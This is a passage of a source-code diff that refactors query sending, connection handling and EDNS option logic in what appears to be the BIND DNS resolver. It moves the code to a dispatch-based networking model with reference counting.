+	fetchctx_attach(fctx, &query->fctx);
 	ISC_LINK_INIT(query, link);
 	query->magic = QUERY_MAGIC;
 
-	if ((query->options & DNS_FETCHOPT_TCP) != 0) {
-		/*
-		 * Connect to the remote server.
-		 *
-		 * XXXRTH  Should we attach to the socket?
-		 */
-		if (query->dscp != -1) {
-			isc_socket_dscp(query->tcpsocket, query->dscp);
-		}
-		result = isc_socket_connect(query->tcpsocket,
-					    &addrinfo->sockaddr, task,
-					    resquery_connected, query);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_socket;
-		}
-		query->connects++;
-		QTRACE("connecting via TCP");
-	} else {
-		if (dns_adbentry_overquota(addrinfo->entry)) {
+	if ((query->options & DNS_FETCHOPT_TCP) == 0) {
+		if (dns_adb_overquota(fctx->adb, addrinfo)) {
+			UNLOCK(&fctx->lock);
+			result = ISC_R_QUOTA;
 			goto cleanup_dispatch;
 		}
 
 		/* Inform the ADB that we're starting a UDP fetch */
 		dns_adb_beginudpfetch(fctx->adb, addrinfo);
-
-		result = resquery_send(query);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_dispatch;
-		}
 	}
 
-	fctx->querysent++;
-
 	ISC_LIST_APPEND(fctx->queries, query, link);
-	bucketnum = fctx->bucketnum;
-	LOCK(&res->buckets[bucketnum].lock);
-	fctx->nqueries++;
-	UNLOCK(&res->buckets[bucketnum].lock);
-	if (isc_sockaddr_pf(&addrinfo->sockaddr) == PF_INET) {
-		inc_stats(res, dns_resstatscounter_queryv4);
-	} else {
-		inc_stats(res, dns_resstatscounter_queryv6);
-	}
-	if (res->view->resquerystats != NULL) {
-		dns_rdatatypestats_increment(res->view->resquerystats,
-					     fctx->type);
+	atomic_fetch_add_relaxed(&fctx->nqueries, 1);
+	UNLOCK(&fctx->lock);
+
+	/* Set up the dispatch and set the query ID */
+	result = dns_dispatch_add(
+		query->dispatch, fctx->loop, 0,
+		isc_interval_ms(&fctx->interval), &query->addrinfo->sockaddr,
+		addrinfo->transport, tlsctx_cache, resquery_connected,
+		resquery_senddone, resquery_response, query, &query->id,
+		&query->dispentry);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_udpfetch;
 	}
 
-	return (ISC_R_SUCCESS);
+	/* Connect the socket */
+	resquery_ref(query);
+	result = dns_dispatch_connect(query->dispentry);
+
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+	return (result);
 
-cleanup_socket:
-	isc_socket_detach(&query->tcpsocket);
+cleanup_udpfetch:
+	if (!RESQUERY_CANCELED(query)) {
+		if ((query->options & DNS_FETCHOPT_TCP) == 0) {
+			/* Inform the ADB that we're ending a UDP fetch */
+			dns_adb_endudpfetch(fctx->adb, addrinfo);
+		}
+	}
 
 cleanup_dispatch:
+	fetchctx_detach(&query->fctx);
+
 	if (query->dispatch != NULL) {
 		dns_dispatch_detach(&query->dispatch);
 	}
 
 cleanup_query:
-	if (query->connects == 0) {
-		query->magic = 0;
-		dns_message_detach(&query->rmessage);
-		isc_mem_put(fctx->mctx, query, sizeof(*query));
+	LOCK(&fctx->lock);
+	if (ISC_LINK_LINKED(query, link)) {
+		atomic_fetch_sub_release(&fctx->nqueries, 1);
+		ISC_LIST_UNLINK(fctx->queries, query, link);
 	}
+	UNLOCK(&fctx->lock);
 
-	RUNTIME_CHECK(fctx_stopidletimer(fctx) == ISC_R_SUCCESS);
+	query->magic = 0;
+	dns_message_detach(&query->rmessage);
+	isc_mem_put(fctx->mctx, query, sizeof(*query));
 
 	return (result);
 }
@@ -2365,7 +2239,7 @@ add_triededns(fetchctx_t *fctx, isc_sockaddr_t *address) {
 	ISC_LIST_INITANDAPPEND(fctx->edns, tried, link);
 }
 
-static inline size_t
+static size_t
 addr2buf(void *buf, const size_t bufsize, const isc_sockaddr_t *sockaddr) {
 	isc_netaddr_t netaddr;
 	isc_netaddr_fromsockaddr(&netaddr, sockaddr);
@@ -2379,22 +2253,12 @@ addr2buf(void *buf, const size_t bufsize, const isc_sockaddr_t *sockaddr) {
 		memmove(buf, &netaddr.type.in6, 16);
 		return (16);
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	return (0);
 }
 
-static inline isc_socket_t *
-query2sock(const resquery_t *query) {
-	if (query->exclusivesocket) {
-		return (dns_dispatch_getentrysocket(query->dispentry));
-	} else {
-		return (dns_dispatch_getsocket(query->dispatch));
-	}
-}
-
-static inline size_t
+static size_t
 add_serveraddr(uint8_t *buf, const size_t bufsize, const resquery_t *query) {
 	return (addr2buf(buf, bufsize, &query->addrinfo->sockaddr));
 }
@@ -2411,13 +2275,15 @@ compute_cc(const resquery_t *query, uint8_t *cookie, const size_t len) {
 	INSIST(len >= CLIENT_COOKIE_SIZE);
 	STATIC_ASSERT(sizeof(query->fctx->res->view->secret) >=
 			      ISC_SIPHASH24_KEY_LENGTH,
-		      "The view->secret size can't fit SipHash 2-4 key length");
+		      "The view->secret size can't fit SipHash 2-4 key "
+		      "length");
 
 	uint8_t buf[16] ISC_NONSTRING = { 0 };
 	size_t buflen = add_serveraddr(buf, sizeof(buf), query);
 
 	uint8_t digest[ISC_SIPHASH24_TAG_LENGTH] ISC_NONSTRING = { 0 };
-	isc_siphash24(query->fctx->res->view->secret, buf, buflen, digest);
+	isc_siphash24(query->fctx->res->view->secret, buf, buflen, true,
+		      digest);
 	memmove(cookie, digest, CLIENT_COOKIE_SIZE);
 }
 
@@ -2446,27 +2312,22 @@ issecuredomain(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 
 static isc_result_t
 resquery_send(resquery_t *query) {
-	fetchctx_t *fctx;
 	isc_result_t result;
+	fetchctx_t *fctx = query->fctx;
+	dns_resolver_t *res = fctx->res;
+	isc_buffer_t buffer;
 	dns_name_t *qname = NULL;
 	dns_rdataset_t *qrdataset = NULL;
 	isc_region_t r;
-	dns_resolver_t *res;
-	isc_task_t *task;
-	isc_socket_t *sock;
-	isc_buffer_t tcpbuffer;
-	isc_sockaddr_t *address;
-	isc_buffer_t *buffer;
 	isc_netaddr_t ipaddr;
 	dns_tsigkey_t *tsigkey = NULL;
 	dns_peer_t *peer = NULL;
-	bool useedns;
 	dns_compress_t cctx;
-	bool cleanup_cctx = false;
+	bool useedns;
 	bool secure_domain;
 	bool tcp = ((query->options & DNS_FETCHOPT_TCP) != 0);
 	dns_ednsopt_t ednsopts[DNS_EDNSOPTIONS];
-	unsigned ednsopt = 0;
+	unsigned int ednsopt = 0;
 	uint16_t hint = 0, udpsize = 0; /* No EDNS */
 #ifdef HAVE_DNSTAP
 	isc_sockaddr_t localaddr, *la = NULL;
@@ -2476,62 +2337,29 @@ resquery_send(resquery_t *query) {
 	isc_buffer_t zb;
 #endif /* HAVE_DNSTAP */
 
-	fctx = query->fctx;
 	QTRACE("send");
 
-	res = fctx->res;
-	task = res->buckets[fctx->bucketnum].task;
-	address = NULL;
-
-	if (tcp) {
-		/*
-		 * Reserve space for the TCP message length.
-		 */
-		isc_buffer_init(&tcpbuffer, query->data, sizeof(query->data));
-		isc_buffer_init(&query->buffer, query->data + 2,
-				sizeof(query->data) - 2);
-		buffer = &tcpbuffer;
-	} else {
-		isc_buffer_init(&query->buffer, query->data,
-				sizeof(query->data));
-		buffer = &query->buffer;
-	}
-
-	result = dns_message_gettempname(fctx->qmessage, &qname);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_temps;
-	}
-	result = dns_message_gettemprdataset(fctx->qmessage, &qrdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_temps;
+	if (atomic_load_acquire(&res->exiting)) {
+		FCTXTRACE("resquery_send: resolver shutting down");
+		return (ISC_R_SHUTTINGDOWN);
 	}
 
-	/*
-	 * Get a query id from the dispatch.
-	 */
-	result = dns_dispatch_addresponse(query->dispatch, 0,
-					  &query->addrinfo->sockaddr, task,
-					  resquery_response, query, &query->id,
-					  &query->dispentry, res->socketmgr);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_temps;
-	}
+	dns_message_gettempname(fctx->qmessage, &qname);
+	dns_message_gettemprdataset(fctx->qmessage, &qrdataset);
 
 	fctx->qmessage->opcode = dns_opcode_query;
 
 	/*
 	 * Set up question.
 	 */
-	dns_name_clone(&fctx->name, qname);
+	dns_name_clone(fctx->name, qname);
 	dns_rdataset_makequestion(qrdataset, res->rdclass, fctx->type);
 	ISC_LIST_APPEND(qname->list, qrdataset, link);
 	dns_message_addname(fctx->qmessage, qname, DNS_SECTION_QUESTION);
-	qname = NULL;
-	qrdataset = NULL;
 
 	/*
-	 * Set RD if the client has requested that we do a recursive query,
-	 * or if we're sending to a forwarder.
+	 * Set RD if the client has requested that we do a recursive
+	 * query, or if we're sending to a forwarder.
 	 */
 	if ((query->options & DNS_FETCHOPT_RECURSIVE) != 0 ||
 	    ISFORWARDER(query->addrinfo))
@@ -2553,14 +2381,15 @@ resquery_send(resquery_t *query) {
 	{
 		bool checknta = ((query->options & DNS_FETCHOPT_NONTA) == 0);
 		bool ntacovered = false;
-		result = issecuredomain(res->view, &fctx->name, fctx->type,
+		result = issecuredomain(res->view, fctx->name, fctx->type,
 					isc_time_seconds(&query->start),
 					checknta, &ntacovered, &secure_domain);
 		if (result != ISC_R_SUCCESS) {
 			secure_domain = false;
 		}
 		if (secure_domain ||
-		    (ISFORWARDER(query->addrinfo) && ntacovered)) {
+		    (ISFORWARDER(query->addrinfo) && ntacovered))
+		{
 			fctx->qmessage->flags |= DNS_MESSAGEFLAG_CD;
 		}
 	}
@@ -2573,13 +2402,10 @@ resquery_send(resquery_t *query) {
 	/*
 	 * Convert the question to wire format.
 	 */
-	result = dns_compress_init(&cctx, -1, fctx->res->mctx);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_message;
-	}
-	cleanup_cctx = true;
+	dns_compress_init(&cctx, fctx->mctx, 0);
 
-	result = dns_message_renderbegin(fctx->qmessage, &cctx, &query->buffer);
+	isc_buffer_init(&buffer, query->data, sizeof(query->data));
+	result = dns_message_renderbegin(fctx->qmessage, &cctx, &buffer);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_message;
 	}
@@ -2590,26 +2416,26 @@ resquery_send(resquery_t *query) {
 		goto cleanup_message;
 	}
 
-	peer = NULL;
 	isc_netaddr_fromsockaddr(&ipaddr, &query->addrinfo->sockaddr);
 	(void)dns_peerlist_peerbyaddr(fctx->res->view->peers, &ipaddr, &peer);
 
 	/*
-	 * The ADB does not know about servers with "edns no".  Check this,
-	 * and then inform the ADB for future use.
+	 * The ADB does not know about servers with "edns no".  Check
+	 * this, and then inform the ADB for future use.
 	 */
-	if ((query->addrinfo->flags & DNS_FETCHOPT_NOEDNS0) == 0 &&
+	if ((query->addrinfo->flags & FCTX_ADDRINFO_NOEDNS0) == 0 &&
 	    peer != NULL &&
 	    dns_peer_getsupportedns(peer, &useedns) == ISC_R_SUCCESS &&
 	    !useedns)
 	{
 		query->options |= DNS_FETCHOPT_NOEDNS0;
 		dns_adb_changeflags(fctx->adb, query->addrinfo,
-				    DNS_FETCHOPT_NOEDNS0, DNS_FETCHOPT_NOEDNS0);
+				    FCTX_ADDRINFO_NOEDNS0,
+				    FCTX_ADDRINFO_NOEDNS0);
 	}
 
 	/* Sync NOEDNS0 flag in addrinfo->flags and options now. */
-	if ((query->addrinfo->flags & DNS_FETCHOPT_NOEDNS0) != 0) {
+	if ((query->addrinfo->flags & FCTX_ADDRINFO_NOEDNS0) != 0) {
 		query->options |= DNS_FETCHOPT_NOEDNS0;
 	}
 
@@ -2618,30 +2444,40 @@ resquery_send(resquery_t *query) {
 		struct tried *tried;
 
 		/*
-		 * If this is the first timeout for this server in this fetch
-		 * context, try setting EDNS UDP buffer size to the largest UDP
-		 * response size we have seen from this server so far.
+		 * If this is the first timeout for this server in this
+		 * fetch context, try setting EDNS UDP buffer size to
+		 * the largest UDP response size we have seen from this
+		 * server so far.
 		 *
-		 * If this server has already timed out twice or more in this
-		 * fetch context, force TCP.
+		 * If this server has already timed out twice or more in
+		 * this fetch context, force TCP.
 		 */
 		if ((tried = triededns(fctx, sockaddr)) != NULL) {
 			if (tried->count == 1U) {
 				hint = dns_adb_getudpsize(fctx->adb,
 							  query->addrinfo);
 			} else if (tried->count >= 2U) {
-				query->options |= DNS_FETCHOPT_TCP;
+				if ((query->options & DNS_FETCHOPT_TCP) == 0) {
+					/*
+					 * Inform the ADB that we're ending a
+					 * UDP fetch, and turn the query into
+					 * a TCP query.
+					 */
+					dns_adb_endudpfetch(fctx->adb,
+							    query->addrinfo);
+					query->options |= DNS_FETCHOPT_TCP;
+				}
 			}
 		}
 	}
 	fctx->timeout = false;
 
 	/*
-	 * Use EDNS0, unless the caller doesn't want it, or we know that the
-	 * remote server doesn't like it.
+	 * Use EDNS0, unless the caller doesn't want it, or we know that
+	 * the remote server doesn't like it.
 	 */
 	if ((query->options & DNS_FETCHOPT_NOEDNS0) == 0) {
-		if ((query->addrinfo->flags & DNS_FETCHOPT_NOEDNS0) == 0) {
+		if ((query->addrinfo->flags & FCTX_ADDRINFO_NOEDNS0) == 0) {
 			uint16_t peerudpsize = 0;
 			unsigned int version = DNS_EDNS_VERSION;
 			unsigned int flags = query->addrinfo->flags;
@@ -2652,26 +2488,26 @@ resquery_send(resquery_t *query) {
 			uint16_t padding = 0;
 
 			/*
-			 * Set the default UDP size to what was configured as
-			 * 'edns-buffer-size'
+			 * Set the default UDP size to what was
+			 * configured as 'edns-buffer-size'
 			 */
-			udpsize = res->udpsize;
+			udpsize = res->view->udpsize;
 
 			/*
-			 * This server timed out for the first time in this
-			 * fetch context and we received a response from it
-			 * before (either in this fetch context or in a
-			 * different one).  Set 'udpsize' to the size of the
-			 * largest UDP response we have received from this
-			 * server so far.
+			 * This server timed out for the first time in
+			 * this fetch context and we received a response
+			 * from it before (either in this fetch context
+			 * or in a different one).  Set 'udpsize' to the
+			 * size of the largest UDP response we have
+			 * received from this server so far.
 			 */
 			if (hint != 0U) {
 				udpsize = hint;
 			}
 
 			/*
-			 * If a fixed EDNS UDP buffer size is configured for
-			 * this server, make sure we obey that.
+			 * If a fixed EDNS UDP buffer size is configured
+			 * for this server, make sure we obey that.
 			 */
 			if (peer != NULL) {
 				(void)dns_peer_getudpsize(peer, &peerudpsize);
@@ -2685,7 +2521,8 @@ resquery_send(resquery_t *query) {
 				version >>= DNS_FETCHOPT_EDNSVERSIONSHIFT;
 			}
 
-			/* Request NSID/COOKIE/VERSION for current peer? */
+			/* Request NSID/COOKIE/VERSION for current peer?
+			 */
 			if (peer != NULL) {
 				uint8_t ednsversion;
 				(void)dns_peer_getrequestnsid(peer, &reqnsid);
@@ -2693,7 +2530,8 @@ resquery_send(resquery_t *query) {
 				result = dns_peer_getednsversion(peer,
 								 &ednsversion);
 				if (result == ISC_R_SUCCESS &&
-				    ednsversion < version) {
+				    ednsversion < version)
+				{
 					version = ednsversion;
 				}
 			}
@@ -2712,8 +2550,8 @@ resquery_send(resquery_t *query) {
 				ednsopts[ednsopt].code = DNS_OPT_COOKIE;
 				ednsopts[ednsopt].length =
 					(uint16_t)dns_adb_getcookie(
-						fctx->adb, query->addrinfo,
-						cookie, sizeof(cookie));
+						query->addrinfo, cookie,
+						sizeof(cookie));
 				if (ednsopts[ednsopt].length != 0) {
 					ednsopts[ednsopt].value = cookie;
 					inc_stats(
@@ -2745,7 +2583,8 @@ resquery_send(resquery_t *query) {
 				ednsopt++;
 			}
 
-			/* Add PAD for current peer? Require TCP for now */
+			/* Add PAD for current peer? Require TCP for now
+			 */
 			if ((peer != NULL) && tcp) {
 				(void)dns_peer_getpadding(peer, &padding);
 			}
@@ -2764,9 +2603,9 @@ resquery_send(resquery_t *query) {
 				query->options |= DNS_FETCHOPT_WANTNSID;
 			} else if (result != ISC_R_SUCCESS) {
 				/*
-				 * We couldn't add the OPT, but we'll press on.
-				 * We're not using EDNS0, so set the NOEDNS0
-				 * bit.
+				 * We couldn't add the OPT, but we'll
+				 * press on. We're not using EDNS0, so
+				 * set the NOEDNS0 bit.
 				 */
 				query->options |= DNS_FETCHOPT_NOEDNS0;
 				query->ednsversion = -1;
@@ -2775,8 +2614,8 @@ resquery_send(resquery_t *query) {
 		} else {
 			/*
 			 * We know this server doesn't like EDNS0, so we
-			 * won't use it.  Set the NOEDNS0 bit since we're
-			 * not using EDNS0.
+			 * won't use it.  Set the NOEDNS0 bit since
+			 * we're not using EDNS0.
 			 */
 			query->options |= DNS_FETCHOPT_NOEDNS0;
 			query->ednsversion = -1;
@@ -2791,7 +2630,8 @@ resquery_send(resquery_t *query) {
 	query->udpsize = udpsize;
 
 	/*
-	 * If we need EDNS0 to do this query and aren't using it, we lose.
+	 * If we need EDNS0 to do this query and aren't using it, we
+	 * lose.
 	 */
 	if (NEEDEDNS0(fctx) && (query->options & DNS_FETCHOPT_NOEDNS0) != 0) {
 		result = DNS_R_SERVFAIL;
@@ -2837,93 +2677,41 @@ resquery_send(resquery_t *query) {
 #ifdef HAVE_DNSTAP
 	memset(&zr, 0, sizeof(zr));
 	isc_buffer_init(&zb, zone, sizeof(zone));
-	dns_compress_setmethods(&cctx, DNS_COMPRESS_NONE);
-	result = dns_name_towire(&fctx->domain, &cctx, &zb);
+	dns_compress_setpermitted(&cctx, false);
+	result = dns_name_towire(fctx->domain, &cctx, &zb, NULL);
 	if (result == ISC_R_SUCCESS) {
 		isc_buffer_usedregion(&zb, &zr);
 	}
 #endif /* HAVE_DNSTAP */
 
-	dns_compress_invalidate(&cctx);
-	cleanup_cctx = false;
-
 	if (dns_message_gettsigkey(fctx->qmessage) != NULL) {
 		dns_tsigkey_attach(dns_message_gettsigkey(fctx->qmessage),
 				   &query->tsigkey);
-		result = dns_message_getquerytsig(
-			fctx->qmessage, fctx->res->mctx, &query->tsig);
+		result = dns_message_getquerytsig(fctx->qmessage, fctx->mctx,
+						  &query->tsig);
 		if (result != ISC_R_SUCCESS) {
 			goto cleanup_message;
 		}
 	}
 
-	/*
-	 * If using TCP, write the length of the message at the beginning
-	 * of the buffer.
-	 */
-	if (tcp) {
-		isc_buffer_usedregion(&query->buffer, &r);
-		isc_buffer_putuint16(&tcpbuffer, (uint16_t)r.length);
-		isc_buffer_add(&tcpbuffer, r.length);
-	}
-
 	/*
 	 * Log the outgoing packet.
 	 */
 	dns_message_logfmtpacket(
 		fctx->qmessage, "sending packet to", &query->addrinfo->sockaddr,
 		DNS_LOGCATEGORY_RESOLVER, DNS_LOGMODULE_PACKETS,
-		&dns_master_style_comment, ISC_LOG_DEBUG(11), fctx->res->mctx);
+		&dns_master_style_comment, ISC_LOG_DEBUG(11), fctx->mctx);
 
 	/*
 	 * We're now done with the query message.
 	 */
+	dns_compress_invalidate(&cctx);
 	dns_message_reset(fctx->qmessage, DNS_MESSAGE_INTENTRENDER);
 
-	sock = query2sock(query);
-
-	/*
-	 * Send the query!
-	 */
-	if (!tcp) {
-		address = &query->addrinfo->sockaddr;
-		if (query->exclusivesocket) {
-			result = isc_socket_connect(sock, address, task,
-						    resquery_udpconnected,
-						    query);
-			if (result != ISC_R_SUCCESS) {
-				goto cleanup_message;
-			}
-			query->connects++;
-		}
-	}
-	isc_buffer_usedregion(buffer, &r);
-
-	/*
-	 * XXXRTH  Make sure we don't send to ourselves!  We should probably
-	 *		prune out these addresses when we get them from the ADB.
-	 */
-	memset(&query->sendevent, 0, sizeof(query->sendevent));
-	ISC_EVENT_INIT(&query->sendevent, sizeof(query->sendevent), 0, NULL,
-		       ISC_SOCKEVENT_SENDDONE, resquery_senddone, query, NULL,
-		       NULL, NULL);
-
-	if (query->dscp == -1) {
-		query->sendevent.attributes &= ~ISC_SOCKEVENTATTR_DSCP;
-		query->sendevent.dscp = 0;
-	} else {
-		query->sendevent.attributes |= ISC_SOCKEVENTATTR_DSCP;
-		query->sendevent.dscp = query->dscp;
-		if (tcp) {
-			isc_socket_dscp(sock, query->dscp);
-		}
-	}
-
-	result = isc_socket_sendto2(sock, &r, task, address, NULL,
-				    &query->sendevent, 0);
-	INSIST(result == ISC_R_SUCCESS);
+	isc_buffer_usedregion(&buffer, &r);
 
-	query->sends++;
+	resquery_ref(query);
+	dns_dispatch_send(query->dispentry, &r);
 
 	QTRACE("sent");
 
@@ -2937,272 +2725,211 @@ resquery_send(resquery_t *query) {
 		dtmsgtype = DNS_DTTYPE_RQ;
 	}
 
-	result = isc_socket_getsockname(sock, &localaddr);
+	result = dns_dispentry_getlocaladdress(query->dispentry, &localaddr);
 	if (result == ISC_R_SUCCESS) {
 		la = &localaddr;
 	}
 
 	dns_dt_send(fctx->res->view, dtmsgtype, la, &query->addrinfo->sockaddr,
-		    tcp, &zr, &query->start, NULL, &query->buffer);
+		    tcp, &zr, &query->start, NULL, &buffer);
 #endif /* HAVE_DNSTAP */
 
 	return (ISC_R_SUCCESS);
 
 cleanup_message:
-	if (cleanup_cctx) {
-		dns_compress_invalidate(&cctx);
-	}
+	dns_compress_invalidate(&cctx);
 
 	dns_message_reset(fctx->qmessage, DNS_MESSAGE_INTENTRENDER);
 
 	/*
 	 * Stop the dispatcher from listening.
 	 */
-	dns_dispatch_removeresponse(&query->dispentry, NULL);
-
-cleanup_temps:
-	if (qname != NULL) {
-		dns_message_puttempname(fctx->qmessage, &qname);
-	}
-	if (qrdataset != NULL) {
-		dns_message_puttemprdataset(fctx->qmessage, &qrdataset);
-	}
+	dns_dispatch_done(&query->dispentry);
 
 	return (result);
 }
 
 static void
-resquery_connected(isc_task_t *task, isc_event_t *event) {
-	isc_socketevent_t *sevent = (isc_socketevent_t *)event;
-	resquery_t *query = event->ev_arg;
-	bool retry = false;
-	isc_interval_t interval;
+resquery_connected(isc_result_t eresult, isc_region_t *region, void *arg) {
+	resquery_t *query = (resquery_t *)arg;
+	resquery_t *copy = query;
 	isc_result_t result;
-	unsigned int attrs;
-	fetchctx_t *fctx;
+	fetchctx_t *fctx = NULL;
+	dns_resolver_t *res = NULL;
+	int pf;
 
-	REQUIRE(event->ev_type == ISC_SOCKEVENT_CONNECT);
 	REQUIRE(VALID_QUERY(query));
 
 	QTRACE("connected");
 
-	UNUSED(task);
-
-	/*
-	 * XXXRTH
-	 *
-	 * Currently we don't wait for the connect event before retrying
-	 * a query.  This means that if we get really behind, we may end
-	 * up doing extra work!
-	 */
+	UNUSED(region);
 
-	query->connects--;
 	fctx = query->fctx;
 
-	if (RESQUERY_CANCELED(query)) {
-		/*
-		 * This query was canceled while the connect() was in
-		 * progress.
-		 */
-		isc_socket_detach(&query->tcpsocket);
-		resquery_destroy(&query);
-	} else {
-		switch (sevent->result) {
-		case ISC_R_SUCCESS:
-
-			/*
-			 * Extend the idle timer for TCP.  Half of
-			 * "resolver-query-timeout" will hopefully be long
-			 * enough for a TCP connection to be established, a
-			 * single DNS request to be sent, and the response
-			 * received.
-			 */
-			isc_interval_set(&interval,
-					 fctx->res->query_timeout / 1000 / 2,
-					 0);
-			result = fctx_startidletimer(query->fctx, &interval);
-			if (result != ISC_R_SUCCESS) {
-				FCTXTRACE("query canceled: idle timer failed; "
-					  "responding");
-
-				fctx_cancelquery(&query, NULL, NULL, false,
-						 false);
-				fctx_done(fctx, result, __LINE__);
-				break;
-			}
-			/*
-			 * We are connected.  Create a dispatcher and
-			 * send the query.
-			 */
-			attrs = 0;
-			attrs |= DNS_DISPATCHATTR_TCP;
-			attrs |= DNS_DISPATCHATTR_PRIVATE;
-			attrs |= DNS_DISPATCHATTR_CONNECTED;
-			if (isc_sockaddr_pf(&query->addrinfo->sockaddr) ==
-			    AF_INET) {
-				attrs |= DNS_DISPATCHATTR_IPV4;
-			} else {
-				attrs |= DNS_DISPATCHATTR_IPV6;
-			}
-			attrs |= DNS_DISPATCHATTR_MAKEQUERY;
-
-			result = dns_dispatch_createtcp(
-				query->dispatchmgr, query->tcpsocket,
-				// OQS updated from 4096 to 8192
-				query->fctx->res->taskmgr, NULL, NULL, 8192, 2,
-				1, 1, 3, attrs, &query->dispatch);
+	REQUIRE(VALID_FCTX(fctx));
+	REQUIRE(fctx->tid == isc_tid());
 
-			/*
-			 * Regardless of whether dns_dispatch_create()
-			 * succeeded or not, we don't need our reference
-			 * to the socket anymore.
-			 */
-			isc_socket_detach(&query->tcpsocket);
+	res = fctx->res;
 
-			if (result == ISC_R_SUCCESS) {
-				result = resquery_send(query);
-			}
+	if (RESQUERY_CANCELED(query)) {
+		goto detach;
+	}
 
-			if (result != ISC_R_SUCCESS) {
-				FCTXTRACE("query canceled: "
-					  "resquery_send() failed; responding");
+	if (atomic_load_acquire(&fctx->res->exiting)) {
+		eresult = ISC_R_SHUTTINGDOWN;
+	}
 
-				fctx_cancelquery(&query, NULL, NULL, false,
-						 false);
-				fctx_done(fctx, result, __LINE__);
-			}
-			break;
+	/*
+	 * The reference counting of resquery objects is complex:
+	 *
+	 * 1. attached in fctx_query()
+	 * 2. attached prior to dns_dispatch_connect(), detached in
+	 *    resquery_connected()
+	 * 3. attached prior to dns_dispatch_send(), detached in
+	 *    resquery_senddone()
+	 * 4. finally detached in fctx_cancelquery()
+	 *
+	 * On error conditions, it's necessary to call fctx_cancelquery()
+	 * from resquery_connected() or _senddone(), detaching twice
+	 * within the same function. To make it clear that's what's
+	 * happening, we cancel-and-detach 'copy' and detach 'query',
+	 * which are both pointing to the same object.
+	 */
+	switch (eresult) {
+	case ISC_R_SUCCESS:
+		/*
+		 * We are connected. Send the query.
+		 */
 
-		case ISC_R_NETUNREACH:
-		case ISC_R_HOSTUNREACH:
-		case ISC_R_CONNREFUSED:
-		case ISC_R_NOPERM:
-		case ISC_R_ADDRNOTAVAIL:
-		case ISC_R_CONNECTIONRESET:
-			FCTXTRACE3("query canceled in connected(): "
-				   "no route to host; no response",
-				   sevent->result);
+		result = resquery_send(query);
+		if (result != ISC_R_SUCCESS) {
+			FCTXTRACE("query canceled: resquery_send() failed; "
+				  "responding");
 
-			/*
-			 * No route to remote.
-			 */
-			isc_socket_detach(&query->tcpsocket);
-			/*
-			 * Do not query this server again in this fetch context
-			 * if the server is unavailable over TCP.
-			 */
-			add_bad(fctx, query->rmessage, query->addrinfo,
-				sevent->result, badns_unreachable);
-			fctx_cancelquery(&query, NULL, NULL, true, false);
-			retry = true;
+			fctx_cancelquery(&copy, NULL, false, false);
+			fctx_done_detach(&fctx, result);
 			break;
+		}
 
-		default:
-			FCTXTRACE3("query canceled in connected() due to "
-				   "unexpected event result; responding",
-				   sevent->result);
+		fctx->querysent++;
 
-			isc_socket_detach(&query->tcpsocket);
-			fctx_cancelquery(&query, NULL, NULL, false, false);
-			break;
+		pf = isc_sockaddr_pf(&query->addrinfo->sockaddr);
+		if (pf == PF_INET) {
+			inc_stats(res, dns_resstatscounter_queryv4);
+		} else {
+			inc_stats(res, dns_resstatscounter_queryv6);
 		}
-	}
+		if (res->querystats != NULL) {
+			dns_rdatatypestats_increment(res->querystats,
+						     fctx->type);
+		}
+		break;
 
-	isc_event_free(&event);
+	case ISC_R_CANCELED:
+	case ISC_R_SHUTTINGDOWN:
+		FCTXTRACE3("shutdown in resquery_connected()", eresult);
+		fctx_cancelquery(&copy, NULL, true, false);
+		fctx_done_detach(&fctx, eresult);
+		break;
 
-	if (retry) {
+	case ISC_R_NETUNREACH:
+	case ISC_R_HOSTUNREACH:
+	case ISC_R_CONNREFUSED:
+	case ISC_R_NOPERM:
+	case ISC_R_ADDRNOTAVAIL:
+	case ISC_R_CONNECTIONRESET:
+	case ISC_R_TIMEDOUT:
 		/*
-		 * Behave as if the idle timer has expired.  For TCP
-		 * connections this may not actually reflect the latest timer.
+		 * Do not query this server again in this fetch context.
 		 */
+		FCTXTRACE3("query failed in resquery_connected(): "
+			   "no response",
+			   eresult);
+		add_bad(fctx, query->rmessage, query->addrinfo, eresult,
+			badns_unreachable);
+		fctx_cancelquery(&copy, NULL, true, false);
+
 		FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
-		result = fctx_stopidletimer(fctx);
-		if (result != ISC_R_SUCCESS) {
-			fctx_done(fctx, result, __LINE__);
-		} else {
-			fctx_try(fctx, true, false);
-		}
-	}
-}
+		fctx_try(fctx, true, false);
+		break;
 
-static void
-fctx_finddone(isc_task_t *task, isc_event_t *event) {
-	fetchctx_t *fctx;
-	dns_adbfind_t *find;
-	dns_resolver_t *res;
+	default:
+		FCTXTRACE3("query canceled in resquery_connected() "
+			   "due to unexpected result; responding",
+			   eresult);
+
+		fctx_cancelquery(&copy, NULL, false, false);
+		fctx_done_detach(&fctx, eresult);
+		break;
+	}
+
+detach:
+	resquery_detach(&query);
+}
+
+static void
+fctx_finddone(void *arg) {
+	dns_adbfind_t *find = (dns_adbfind_t *)arg;
+	fetchctx_t *fctx = (fetchctx_t *)find->cbarg;
 	bool want_try = false;
 	bool want_done = false;
-	bool bucket_empty = false;
-	unsigned int bucketnum;
-	bool dodestroy = false;
+	uint_fast32_t pending;
 
-	find = event->ev_sender;
-	fctx = event->ev_arg;
 	REQUIRE(VALID_FCTX(fctx));
-	res = fctx->res;
-
-	UNUSED(task);
 
 	FCTXTRACE("finddone");
 
-	bucketnum = fctx->bucketnum;
-	LOCK(&res->buckets[bucketnum].lock);
+	REQUIRE(fctx->tid == isc_tid());
 
-	INSIST(fctx->pending > 0);
-	fctx->pending--;
+	LOCK(&fctx->lock);
+	pending = atomic_fetch_sub_release(&fctx->pending, 1);
+	INSIST(pending > 0);
 
 	if (ADDRWAIT(fctx)) {
 		/*
 		 * The fetch is waiting for a name to be found.
 		 */
 		INSIST(!SHUTTINGDOWN(fctx));
-		if (event->ev_type == DNS_EVENT_ADBMOREADDRESSES) {
+		if (find->status == DNS_ADB_MOREADDRESSES) {
 			FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
